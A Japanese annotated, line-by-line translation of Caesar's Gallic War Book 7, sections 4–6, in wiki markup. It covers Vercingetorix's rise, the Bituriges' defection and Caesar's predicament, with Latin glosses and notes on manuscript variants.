[[画像:Statue-vercingetorix-jaude-clermont.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の騎馬像([[w:fr:Statue équestre de Vercingétorix (Frédéric Auguste Bartholdi)|fr]])。彼の出身地ゲルゴウィアの近く、[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]中央広場に建つ。[[w:1903年|1903年]]に、[[w:自由の女神像 (ニューヨーク)|自由の女神像]]の作者として著名な彫刻家[[w:フレデリク・バルトルディ|フレデリク・オーギュスト・バルトルディ]]によって建立された。[[w:フランス語|フランス語]]で「我は皆の自由のために武器を取った」« J’ai pris les armes pour la liberté de tous » と刻まれている。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/4節]]　{{進捗|00%|2025-11-24}}&lt;/span&gt;
;アルウェルニー族のウェルキンゲトリークスが挙兵、ガッリア諸部族同盟軍を指揮する
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:similis#Latin|Simili]] [[wikt:en:ratio#Latin|ratione]] ibi 
**そこ&lt;small&gt;〔アルウェルニー族領〕&lt;/small&gt;でも同様のやり方によって、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]という、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ガリア語 [[wikt:en:Reconstruction:Gaulish/Werkingetorix|*Werkingetorīx]] は「戦士たちの最高の王」という意味で、&lt;br&gt;　　　　　ガッリア同盟軍の最高司令官にふさわしい呼び名である。&lt;br&gt;　　　　　《[[ガリア戦記/ガリア語の名前#Vercingetorix|'''ガリア語の名前'''#Vercingetorix]]》 を参照せよ。）&lt;/span&gt;
*[[wikt:fr:Celtillus|Celtilli]] filius, [[wikt:en:Arvernus#Latin|Arvernus]], 
**ケルティッルスの息子で[[w:アルウェルニ族|アルウェルニー族]]の者で、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:en:Celtillus|Celtillus]]'' はガリア語で「小さなケルト人」という意味だと解される。）&lt;/span&gt;
*[[wikt:en:summus#Adjective|summae]] [[wikt:en:potentia#Latin|potentiae]] [[wikt:en:adulescens#Noun|adulescens]], 
**最高の影響力のある青年が、
*cuius [[wikt:en:pater#Latin|pater]] [[wikt:en:principatus#Latin|principatum]] Galliae [[wikt:en:totus#Etymology_1|totius]] [[wikt:en:obtinuerat|obtinuerat]] 
**──その父&lt;small&gt;〔ケルティッルス〕&lt;/small&gt;はガッリア全体の主導権を占めていたが、
*et ob eam causam, quod [[wikt:en:regnum#Latin|regnum]] [[wikt:en:adpetebat|adpetebat]], ab [[wikt:en:civitas#Latin|civitate]] erat [[wikt:en:interfectus#Latin|interfectus]], 
**王位を求めたという理由により、部族の者によって誅殺されていたのであるが、──
*[[wikt:en:convocatus#Latin|convocatis]] suis [[wikt:en:cliens#Latin|clientibus]] 
**自らの庇護者たちを招集して、
*facile [[wikt:en:incendit|incendit]]. 
**容易に焚き付けた。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:cognitus#Participle|Cognito]] eius [[wikt:en:consilium#Latin|consilio]] 
**彼の計画を知ると、
*ad [[wikt:en:arma#Latin|arma]] [[wikt:en:concurritur|concurritur]]. 
**&lt;small&gt;（人々は）&lt;/small&gt;武器のもとへ群がり集まった。
*[[wikt:en:prohibetur|Prohibetur]] ab [[wikt:fr:Gobannitio|Gobannitione]], [[wikt:en:patruus#Latin|patruo]] suo, [[wikt:en:reliquus#Latin|reliquis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:princeps#Noun_3|principibus]], 
**彼の&lt;small&gt;（父方の）&lt;/small&gt;おじゴバンニティオやほかの領袖たちにより妨げられた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Gobannitio|Gobannitio]]'' は「鍛冶屋」か「鍛冶の神」に由来する名前と解される。）&lt;/span&gt;
*qui hanc [[wikt:en:temptandus#Latin|temptandam]] [[wikt:en:fortuna#Latin|fortunam]] non [[wikt:en:existimabant|existimabant]]; 
**その者たちは、このような運命を試すべきとは考えていなかったのだ。
*[[wikt:en:expellitur|expellitur]] ex [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:Gergovia#Latin|Gergovia]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;城塞都市ゲルゴウィアから追放される。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; non [[wikt:en:destitit|destitit]] tamen 
**しかしながら&lt;small&gt;（彼は計画を）&lt;/small&gt;取り止めず、
*atque in agris habet [[wikt:en:dilectus#Noun|dilectum]] [[wikt:en:egens#Latin|egentium]] ac [[wikt:en:perditor#Noun|perditorum]]. 
**野に貧窮者たちやならず者たちを徴集する。
:　
*Hac [[wikt:en:coactus#Latin|coacta]] [[wikt:en:manus#Latin|manu]], 
**こうした手勢が集められ、
*[[wikt:en:quoscumque|quoscumque]] [[wikt:en:adit#Latin|adit]] ex civitate, 
**部族のうちで&lt;small&gt;（彼が）&lt;/small&gt;会った者は誰であれ、
*ad suam [[wikt:en:sententia#Latin|sententiam]] [[wikt:en:perducit|perducit]]; 
**自らの意図に引き込んだ。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:hortatur|hortatur]] ut [[wikt:en:communis#Latin|communis]] [[wikt:en:libertas#Latin|libertatis]] causa [[wikt:en:arma#Latin|arma]] [[wikt:en:capiant|capiant]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の自由のために武器を取るように鼓舞した。
*[[wikt:en:magnus#Latin|magnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:coactus#Latin|coactis]] [[wikt:en:copia#Latin|copiis]] 
**大軍勢が集められて、
*[[wikt:en:adversarius#Latin|adversarios]] suos, a quibus paulo ante erat [[wikt:en:eiectus#Latin|eiectus]], 
**少し前に&lt;small&gt;（彼をゲルゴウィアから）&lt;/small&gt;放逐したところの敵対者たちを、
*[[wikt:en:expellit|expellit]] ex civitate. 
**部族から追放する。
*[[wikt:en:rex#Latin|Rex]] ab suis [[wikt:en:appellatur|appellatur]]. 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;配下の者たちから王と呼ばれている。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:dimittit|Dimittit]] [[wikt:en:quoque#Latin|quoque]] [[wikt:en:versus#Adverb|versus]] [[wikt:en:legatio#Latin|legationes]]; 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;あらゆる方向へ使節団を派遣して、
*[[wikt:en:obtestatur|obtestatur]] ut in [[wikt:en:fides#Latin|fide]] [[wikt:en:maneant|maneant]]. 
**誓約に留まるようにと、懇願する。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Celeriter sibi 
**速やかに、自分たち&lt;small&gt;〔アルウェルニー族〕&lt;/small&gt;に対して
*[[wikt:en:Senones#Latin|Senones]], [[wikt:en:Parisii#Latin|Parisios]], [[wikt:en:Pictones#Latin|Pictones]], [[wikt:en:Cadurci#Latin|Cadurcos]], &lt;u&gt;Turonos&lt;/u&gt;, [[wikt:en:Aulerci#Latin|Aulercos]], [[wikt:en:Lemovices#Latin|Lemovices]], &lt;u&gt;Andes&lt;/u&gt; 
**セノネース族、パリースィイー族、ピクトネース族、カドゥルキー族、&lt;br&gt;&lt;u&gt;トゥロニイー族&lt;/u&gt;、アウレルキー族、レモウィーケース族、アンデース族、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部のトゥロニイー族 ''[[w:Turoni|Turoni]]'' は、トゥロネース族 ''[[wikt:en:Turones#Latin|Turonēs]]'' ともいう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：二つ目の下線部は、&amp;alpha;系写本では [[wikt:en:Andi#Latin|Andos]]「アンディー族」だが、&lt;br&gt;　　　　　　　　　　　　　''[[ガリア戦記/注解編/写本と校訂版#Glareanus|Glareanus]]'' は、[[wikt:en:Andes#Latin|Andēs]]「アンデース族」と修正提案し、&lt;br&gt;　　　　　　　　　　　　　これは別名「アンデカーウィー族」''[[wikt:en:Andecavi#Latin|Andecāvī]]'' ともいう。）&lt;/span&gt;
*reliquosque omnes, qui [[wikt:en:Oceanus#Latin|Oceanum]] [[wikt:en:adtingunt|adtingunt]], [[wikt:en:adiungit|adiungit]]; 
**および&lt;ruby&gt;&lt;rb&gt;大洋&lt;span style=&quot;color:#009900;&quot;&gt;〔[[w:大西洋|大西洋]]〕&lt;/span&gt;&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オーケアヌス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;に接するほかの全部族を、加盟させる。
*omnium [[wikt:en:consensus#Latin|consensu]] 
**すべての者たちの同意により、
*ad eum [[wikt:en:defertur|defertur]] [[wikt:en:imperium#Latin|imperium]]. 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;に&lt;small&gt;（諸部族の）&lt;/small&gt;軍勢指揮権が譲り渡される。
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Qua [[wikt:en:oblatus#Latin|oblata]] [[wikt:en:potestas#Latin|potestate]] 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;その権限が任されると、
*omnibus his civitatibus [[wikt:en:obses#Latin|obsides]] [[wikt:en:imperat|imperat]], 
**これらすべての部族に人質&lt;small&gt;（の供出）&lt;/small&gt;を命令して、
*[[wikt:en:certus#Latin|certum]] numerum [[wikt:en:miles#Latin|militum]] ad se celeriter [[wikt:en:adduci#Latin|adduci]] [[wikt:en:iubet#Latin|iubet]], 
**兵の一定の数が自分のもとへ速やかに動員されることを命じる。
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; [[wikt:en:arma#Latin|armorum]] [[wikt:en:quantum#Latin|quantum]] [[wikt:en:quisque#Latin|quaeque]] civitas [[wikt:en:domi#Latin|domi]] [[wikt:en:quisque#Latin|quodque]] ante tempus [[wikt:en:efficiat|efficiat]], [[wikt:en:constituit#Latin|constituit]]; 
**おのおのの部族が本国で、武器のどれほどをその時期の前に生産するかを、決定した。
*in primis [[wikt:en:equitatus#Latin|equitatui]] [[wikt:en:studet|studet]]. 
**とりわけ、[[w:騎兵|騎兵隊]]を熱心に求めた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Summae diligentiae summam [[wikt:en:imperium#Latin|imperii]] [[wikt:en:severitas#Latin|severitatem]] addit; 
**&lt;small&gt;&lt;/small&gt;（ウェルキンゲトリークスは）最高の入念さに、命令の最高の厳格さを付け加える。
*magnitudine [[wikt:en:supplicium#Latin|supplicii]] [[wikt:en:dubitans#Latin|dubitantes]] cogit. 
**重大な刑罰をふんぎりが付かぬ者たちへ強いる。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Nam maiore commisso delicto &lt;u&gt;igni&lt;/u&gt; atque omnibus tormentis necat, 
**すなわち、より重大な違反を犯したら、火とあらゆる拷問によって誅殺した。
*leviore de causa auribus desectis aut singulis effossis oculis domum remittit, 
**より軽微な場合については、両耳を切り取り、あるいは眼を一つずつ繰り抜いて、郷里へ送還する。
*ut sint reliquis documento et magnitudine poenae perterreant alios.
**ほかの者たちへの警告となり、懲罰の重大さが別の者たちを畏怖させるようにである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===5節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/5節]]　{{進捗|00%|2025-12-14}}&lt;/span&gt;
;ビトゥリゲース族が、ガッリア同盟軍に寝返る
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His [[wikt:en:supplicium#Latin|suppliciis]] celeriter [[wikt:en:coactus#Latin|coacto]] [[wikt:en:exercitus#Noun|exercitu]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらの刑罰により速やかに軍隊を徴集して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「軍隊」と訳される [[wikt:en:exercitus#Noun|exercitus]] には「鍛えられて規律がある」という意味合いがあり、&lt;br&gt;　　　　これまでカエサルがガッリア人の軍勢をこのように表現したことはまれであった。）&lt;/span&gt;
*[[wikt:en:Lucterius#Latin|Lucterium]] [[wikt:en:Cadurcus#Latin|Cadurcum]], [[wikt:en:summus#Latin|summae]] hominem [[wikt:en:audacia#Latin|audaciae]], 
**この上なく豪胆な人物であるカドゥルキー族のルクテリウスを
*cum parte [[wikt:en:copiarum#Noun_2|copiarum]] in [[wikt:en:Ruteni#Latin|Rutenos]] [[wikt:en:mittit|mittit]]; 
**軍勢の一部とともにルテーニー族のところに遣わす。
*ipse in [[wikt:en:Bituriges#Latin|Bituriges]] [[wikt:en:proficiscitur|proficiscitur]]. 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自身はビトゥリゲース族のところに出発する。
:　
;　　　ビトゥリゲース族が、ハエドゥイー族に、対ウェルキンゲトリークスのための援兵を依頼
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eius [[wikt:en:adventus#Latin|adventu]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の到来により、
*[[wikt:en:Bituriges#Latin|Bituriges]] ad [[wikt:en:Aeduos|Haeduos]], quorum erant in [[wikt:en:fides#Latin|fide]], 
**ビトゥリゲース族は、彼らが庇護下にあった[[w:ハエドゥイ族|ハエドゥイー族]]のもとへ、
*[[wikt:en:legatus#Latin|legatos]] [[wikt:en:mittunt|mittunt]] [[wikt:en:subsidium#Latin|subsidium]] [[wikt:en:rogatum#Verb|rogatum]], 
**使節たちを、&lt;small&gt;（ハエドゥイー族からの）&lt;/small&gt;援兵を依頼するために派遣する。
*[[wikt:en:quo#Adverb|quo]] [[wikt:en:facile#Latin|facilius]] hostium copias [[wikt:en:sustinere|sustinere]] [[wikt:en:possint|possint]]. 
**それにより、敵の軍勢をより容易に持ちこたえることができるようにということであった。
:　
;　　　ハエドゥイー族が、ビトゥリゲース族に対して援兵を派兵
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:Aedui#Latin|Haedui]] de [[wikt:en:consilium#Latin|consilio]] [[wikt:en:legatus#Latin|legatorum]], quos Caesar ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:reliquerat|reliquerat]], 
**[[w:ハエドゥイ族|ハエドゥイー族]]は、カエサルが軍隊のもとへ残していた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの助言により、
*copias [[wikt:en:equitatus#Noun|equitatus]] [[wikt:en:peditatus#Latin|peditatus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:subsidium#Latin|subsidio]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:mittunt|mittunt]]. 
**[[w:騎兵|騎兵隊]]と[[w:歩兵|歩兵隊]]の軍勢をビトゥリゲース族に対する援兵として派遣する。
:　
;　　　ハエドゥイー族の援兵が、ビトゥリゲース族の寝返りを怖れて、途中で逃げ帰ってしまう
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qui cum ad flumen [[wikt:en:Liger#Latin|Ligerim]] [[wikt:en:venissent|venissent]], quod [[wikt:en:Bituriges#Latin|Bituriges]] ab [[wikt:en:Aeduis|Haeduis]] [[wikt:en:dividit#Latin|dividit]], 
**その者たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族を[[w:ハエドゥイ族|ハエドゥイー族]]から分け隔てるリゲル川のたもとへやって来たときに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：リゲル川 [[w:la:Liger|Liger]] は、現在の[[w:ロワール川|ロワール川]]。&lt;br&gt;　　　　本書に登場するビトゥリゲース・クビ族 ''[[w:en:Bituriges Cubi|Bituriges Cubi]]'' は、&lt;br&gt;　　　　　ロワール川西岸の[[w:シェール県|シェール県]]の辺りに居住していた。&lt;br&gt;　　　　対して、[[w:ハエドゥイ族|ハエドゥイー族]]は、&lt;br&gt;　　　　　ロワール川東岸の[[w:ニエーヴル県|ニエーヴル県]]の辺りに居住していた。）&lt;/span&gt;
[[画像:Map of Eduens people-fr.svg|thumb|right|250px|[[w:ハエドゥイ族|ハエドゥイー族]]を軸とするガッリアの合従連衡（&lt;small&gt;フランス語表記&lt;/small&gt;）。赤い部分がハエドゥイー族（Eduens）、桃色・茶色の部分が同盟部族、灰色の部分が敵対する[[w:アルウェルニ族|アルウェルニー族]]（Arvernes）とセクアニ族（Sequanes）の領域である。茶色のビトゥリゲース族（Bituriges）と赤いハエドゥイー族（Eduens）の境界に沿ってリゲル川（[[w:ロワール川|ロワール川]]）が流れていることが見て取れる。川の西岸はビトゥリゲース族とアルウェルニー族の勢力圏になっている。]]
*paucos dies ibi [[wikt:en:moratus#Participle|morati]] 
**わずかな日々をそこでぐずぐずして、
*neque flumen [[wikt:en:transire#Latin|transire]] [[wikt:en:ausus#Participle|ausi]] [[wikt:en:domus#Latin|domum]] [[wikt:en:revertuntur|revertuntur]] 
**川をあえて渡らずに、故国に引き返す。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:legatus#Latin|legatis]]&lt;nowiki&gt;que&lt;/nowiki&gt; nostris [[wikt:en:renuntiant|renuntiant]] 
**&lt;small&gt;（ハエドゥイー族の援兵たちが）&lt;/small&gt;我が方&lt;small&gt;〔ローマ方〕&lt;/small&gt;の&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告したことには、
*se [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:perfidia#Latin|perfidiam]] [[wikt:en:veritus#Latin|veritos]] [[wikt:en:revertisse|revertisse]], 
**自分たち&lt;small&gt;〔援兵〕&lt;/small&gt;は、ビトゥリゲース族の寝返りを恐れて引き返した。
*quibus id [[wikt:en:consilium#Latin|consilii]] fuisse [[wikt:en:cognoverint|cognoverint]], 
**彼らには、以下のような謀計があったことを探知したのだ。
*ut, si flumen [[wikt:en:transissent#Latin|transissent]], una ex parte ipsi, altera [[wikt:en:Arverni#Latin|Arverni]] se [[wikt:en:circumsisterent|circumsisterent]]. 
**もし川を渡ったら、一方から&lt;small&gt;（ビトゥリゲース族）&lt;/small&gt;自身が、他方から[[w:アルウェルニ族|アルウェルニー族]]が自分たちを包囲するというものだ、と。
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Id ea&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:-ne|ne]]&lt;/span&gt; de causa, quam [[wikt:en:legatus#Latin|legatis]] &lt;u&gt;pronuntiarunt&lt;/u&gt;, 
**そのことは&lt;small&gt;（援兵たちが）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レーガートゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに報告した理由によって&lt;small&gt;（なしたのか？）&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] ～ [[wikt:en:an#Latin|an]] …；～であるか、あるいは…であるか。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:pronuntiarunt|pronuntiarunt]]&lt;sub&gt;&amp;nbsp;(直接法･完了形)&lt;/sub&gt; は古い印刷本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|edd.vett.]]'' の記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本では [[wikt:en:pronuntiarint|pronuntiarint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　&amp;beta;系写本では [[wikt:en:pronuntiaverint|pronuntia&lt;u&gt;ve&lt;/u&gt;rint]]&lt;sub&gt;&amp;nbsp;(接続法･完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;
*&lt;span style=&quot;background-color:#ffa;&quot;&gt;[[wikt:la:an|an]]&lt;/span&gt; [[wikt:en:perfidia#Latin|perfidia]] [[wikt:en:adductus#Latin|adducti]] [[wikt:en:fecerint|fecerint]], 
**あるいは&lt;small&gt;（ビドゥリゲース族の）&lt;/small&gt;寝返りに動かされて、なしたのか？
*[[wikt:en:quod#Conjunction|quod]] [[wikt:en:nihil#Latin|nihil]] nobis [[wikt:en:constat#Latin|constat]], 
**我々&lt;small&gt;〔ローマ人〕&lt;/small&gt;には何ら定かではないので、
*non [[wikt:en:videtur|videtur]] pro [[wikt:en:certus#Latin|certo]] esse &lt;u&gt;proponendum&lt;/u&gt;. 
**確言するべきであるとは思われない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：～ pro certo ponere；～を確かであると主張する）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:proponendum|&lt;u&gt;pro&lt;/u&gt;ponendum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:ponendum|ponendum]] となっている。）&lt;/span&gt;
:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ビトゥリゲース族が、ローマ人やハエドゥイー族から離反して、アルウェルニー族と同盟してしまう
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:Bituriges#Latin|Bituriges]] eorum [[wikt:en:discessus#Noun|discessu]] 
**ビトゥリゲース族は、彼ら&lt;small&gt;〔援兵〕&lt;/small&gt;の撤収により、
*[[wikt:en:statim#Latin|statim]] &lt;u&gt;se&lt;/u&gt; cum [[wikt:en:Arverni#Latin|Arvernis]] &lt;u&gt;coniunguntur&lt;/u&gt;.
**ただちに[[w:アルウェルニ族|アルウェルニー族]]と&lt;small&gt;（同盟を）&lt;/small&gt;結んだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:iunguntur|iunguntur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では se ～ [[wikt:en:coniungunt|coniungunt]] となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===6節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/6節]]　{{進捗|00%|2025-12-15}}&lt;/span&gt;
[[画像:Warsaw Royal Castle GM (12).JPG|thumb|right|200px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の立像（[[w:ワルシャワ歴史地区|ワルシャワ王宮]]）。彼は首都の騒乱を鎮めるために単独の[[w:執政官|執政官]]として大権を与えられ、イタリアの徴兵権を得た。[[w:三頭政治|三頭政治]]後のこの混乱期に、彼はカエサルの政敵たちからこぞって支持されたが、危機に瀕していたカエサルを打倒する絶好の機会を見送った。これは重大な逸機であり、数年後にポンペイウスにとって致命的な結果をもたらすことになる。]]
;諸軍団と分断されて苦慮するカエサル
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; His rebus in Italiam Caesari [[wikt:en:nuntiatus#Latin|nuntiatis]], 
**これらの事情がイタリアにいるカエサルへ知らされると、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、&lt;br&gt;　　　　カエサルの属州[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]のことである。）&lt;/span&gt;
*cum iam ille [[wikt:en:urbanus#Latin|urbanas]] res [[wikt:en:virtus#Latin|virtute]] [[wikt:en:Gnaei#Latin|Gnaei]]&lt;sub&gt;&amp;nbsp;([[wikt:en:Cn.#Latin|Cn.]])&lt;/sub&gt; [[wikt:en:Pompeius#Proper_noun|Pompei]] [[wikt:en:commodior#Latin|commodiorem]] in [[wikt:en:status#Noun_11|statum]] [[wikt:en:pervenisse#Latin|pervenisse]] [[wikt:en:intellegeret|intellegeret]], 
**彼は、もはや都&lt;small&gt;〔[[w:ローマ|ローマ市]]〕&lt;/small&gt;の事態は[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の果断さによってより相応な状態に至ったと認識したので、
*in [[wikt:en:Gallia_transalpina#Latin|Transalpinam Galliam]] [[wikt:en:profectus#Latin|profectus]] est. 
**ガッリア・トラーンサルピーナ&lt;small&gt;〔アルプスの向こう側のガッリア〕&lt;/small&gt;に出発した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#1節|1節]]②項で言及された Galliam Transalpinam は&lt;br&gt;　　　　アルプスの西側「長髪のガッリア」全般を指すと思われるが、&lt;br&gt;　　　　ここではどちらかといえば&lt;br&gt;　　　　ガッリア南部のローマ属州ガッリア・トラーンサルピーナ&lt;br&gt;　　　　すなわち後の[[w:ガリア・ナルボネンシス|ガッリア・ナルボーネーンスィス]]を指す。）&lt;/span&gt;
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:eo#Adverb|Eo]] cum [[wikt:en:venisset|venisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;そこに来たときに、
*magna [[wikt:en:difficultas#Latin|difficultate]] [[wikt:en:adficiebatur|adficiebatur]], qua [[wikt:en:ratio#Latin|ratione]] ad [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:pervenire#Latin|pervenire]] [[wikt:en:posset#Latin|posset]]. 
**どのような方策で軍隊のもとへ到達することができるか、という大きな困難に苦悩させられていた。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Nam, si [[wikt:en:legio#Latin|legiones]] in [[wikt:en:provincia#Latin|provinciam]] [[wikt:en:arcesseret|arcesseret]], 
**なぜなら、もし、諸[[w:ローマ軍団|軍団]]を属州&lt;small&gt;〔ガッリア・トラーンサルピーナ〕&lt;/small&gt;に呼び寄せるのならば、
*se [[wikt:en:absens#Latin|absente]] in [[wikt:en:iter#Latin|itinere]] [[wikt:en:proelium#Latin|proelio]] [[wikt:en:dimicaturus#Latin|dimicaturas]] [[wikt:en:intellegebat|intellegebat]]; 
**自分&lt;small&gt;〔カエサル〕&lt;/small&gt;が不在のままで、行軍中に戦闘を闘うことになるであろうと理解していた。
:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; si ipse ad exercitum [[wikt:en:contenderet|contenderet]], 
**もし&lt;small&gt;（カエサル）&lt;/small&gt;自身が&lt;small&gt;（大部隊の護衛なしで）&lt;/small&gt;軍隊のもとへ急いで行くのならば、
*&lt;u&gt;ne&lt;/u&gt; iis &lt;u&gt;quidem&lt;/u&gt; eo tempore qui quieti [[wikt:en:viderentur|viderentur]], 
**そのときには、中立を保っていると見られる者たちでさえも、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:iis#Latin|iis]] は&amp;beta;系写本の記述で、&amp;alpha;系写本では [[wikt:en:his#Latin|his]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quietus#Latin|quietus, quieti]]「平和的な、中立的な」）&lt;/span&gt;
*suam [[wikt:en:salus#Latin|salutem]] [[wikt:en:recte#Latin|recte]] [[wikt:en:committi|committi]] [[wikt:en:videbat|videbat]]. 
**自分の身の安全を良く託されるとは思えなかったのだ。
